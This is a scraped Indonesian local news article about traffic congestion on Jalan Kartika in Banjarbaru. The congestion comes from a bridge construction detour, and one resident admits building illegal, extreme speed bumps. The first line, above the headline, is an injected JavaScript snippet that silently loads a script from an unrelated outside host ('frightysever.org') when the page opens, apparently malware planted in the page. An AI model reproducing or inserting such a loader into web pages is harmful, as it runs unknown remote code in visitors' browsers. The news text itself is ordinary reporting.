(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Sengaja Bikin ‘Polisi Tidur’ di Jalan Kartika, Naik Motor Serasa ‘Berkuda’


KANALKALIMANTAN.COM, BANJARBARU – Lalu lintas Jalan Kartika yang dijadikan jalur alternatif pengguna jalan dampak pembangunan Jembatan Sei Ulin, Jalan A Yani Kilometer 31,5 Banjarbaru tak luput dari keluhan warga.

Khusus bagi warga yang bermukim di Jalan Kartika, Kelurahan Loktabat Utara tersebut, dampak sosial lingkungan menjadi keluhan utama yang harus ditindaklanjuti pihak terkait. Mulai dari pelaksana proyek, Dinas Perhubungan maupun Satuan Lalu Lintas.

Seperti yang diungkapkan Mardian, paling tidak mereka yang berwenang dalam pelaksana pengerjaan jembatan dapat mencari solusi bagaimana mengurangi kemacetan.
“Saya pertanyakan dampak sosialnya. Saya berharap sekali, baik itu kepada pimpinan proyek ataupun Dishub atau Satuan Lalu Lintas bisa mengatur jalan kami yang terdampak di Jalan Kartika ini,” ujar Mardian, warga Jalan Kartika saat diwawancarai, Rabu (6/8/2025) siang.

Baca juga: BREAKING NEWS: Polres Banjarbaru Terbakar

Dia sebagai pemilik rumah yang berhadapan langsung dengan jalur alternatif tersebut, mengakui bahkan telah membangun ‘polisi tidur’ dengan ketinggian cukup ekstrem.
“Di depan rumah saya bangun portal yang begitu ekstrem. Padahal saya tahu secara aturan tidak boleh, baik aturan Dishub ataupun Lalin, karena itu bisa mencelakaan orang,” akunya.

“Tapi saya saking capek dan lelah sudah, kalau jam-jam sibuk pagi atau sore itu macetnya luar biasa,” tambah dia. Penghambat jalan alias ‘polisi tidur’ yang ia bangun itu pula besar harapan agar masyarakat yang berlalu lalang mengurangi kecepatan kendaraan, bahkan tidak menganggu kenyamanan kawasan tersebut.

“Saya punya harapan bagi masyarakat yang lewat Jalan Kartika itu mereka besok akan capek atau istilahnya tidak mau lagi lewat situ. Tapi saya yakin kalau ini tidak ditindaklanjuti pihak pekerja proyek ini pasti kemacetan ini tidak akan selesai,” tandasnya.

Baca juga: Program MBG Belum Merata di Banjarbaru, Deputi III Kemenko Polkam RI Turun Lapangan

Koordinator Lapangan Proyek Jembatan Sei Ulin, Bustanul Ariffin usai melakukan rapat bersama warga terdampak, Rabu (6/8/2025). Foto: wanda

Koordinator Lapangan Proyek Jembatan Sei Ulin, Bustanul Ariffin mengatakan, masalah dampak sosial lingkungan telah disepakati dengan dua penyelesaian oleh warga.

“Pertama Jalan Kartika dari usulan masyarakat dibuat jadi satu arah saja, tidak dua arah agar mengurangi beban lalu lintas,” ujar Bustanul Ariffin setelah melakukan rapat bersama warga terdampak, Rabu (6/8/2025) siang. “Kedua rencana kita tempatkan satu petugas menjaga di situ, jadi orang atau kendaraan tidak bisa seenaknya masuk,” tambahnya.

Dia menegaskan bahwa sejak awal pihaknya bersama Forum Lalu Lintas menjadikan Jalan Kartika ihanya dapat dilalui oleh warga lokal atau warga penghuni kawasan di situ saja.
“Pengguna jalan secara umum sudah disiapkan beberapa jalan alternatif cukup banyak, baik, dan luas. Seperti dari daerah arah Banjarmasin bisa melalui akses Jalan Bandara, Jalan Bina Putra atau Jalan Sapta Marga,” ungkap dia.

Baca juga: Nasib Toko Karpet Disangka Tutup, Minta Oprit Jembatan Diturunkan

Diakuinya sejumlah plang papan penanda dilarang lewat telah dipasang pemberitahu kepada pengguna jalan agar tidak melawati jalan permukiman tersebut.

Namun, nampaknya plang penanda tersebut hanya sebatas tulisan yang tak dihiraukan para pengguna jalan, terutama roda dua. Meski naik motor serasa berkuda karena sejumlah ‘Polisi Tidur’ sengaja dibikin warga Jalan Kartika. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Muhammad Andi

Recent Posts

Ketua DPRD Kalsel Sampaikan Tuntutan Mahasiswa ke Senayan

KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More

13 menit ago

275 ASN Pemko Banjarmasin Pensiun di 2025

KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More

1 jam ago

Pembebasan Lahan Bendungan Riam Kiwa Mendesak Atasi Banjir Tahunan

KANALKALIMANTAN.COM, BANJARMASIN - Balai Wilayah Sungai (BWS) Kalimantan III menyatakan kesiapan mempercepat pembangunan Bendungan Riam… Read More

5 jam ago

Cek Pelayanan Kesehatan Berjalan Optimal, Bupati Wiyatno Audiensi ke RSUD Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melakukan kunjungan kerja sekaligus audiensi dengan… Read More

8 jam ago

67 Ribu Warga Tak Lagi Ditanggung BPJS Kesehatan, Pemko Banjarmasin Upayakan Pengaktifan Kembali

KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More

1 hari ago

Janji Wali Kota Yamin Tertibkan Bangunan di Atas Sungai

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR menyoroti bangunan yang berdiri di… Read More

1 hari ago

This website uses cookies.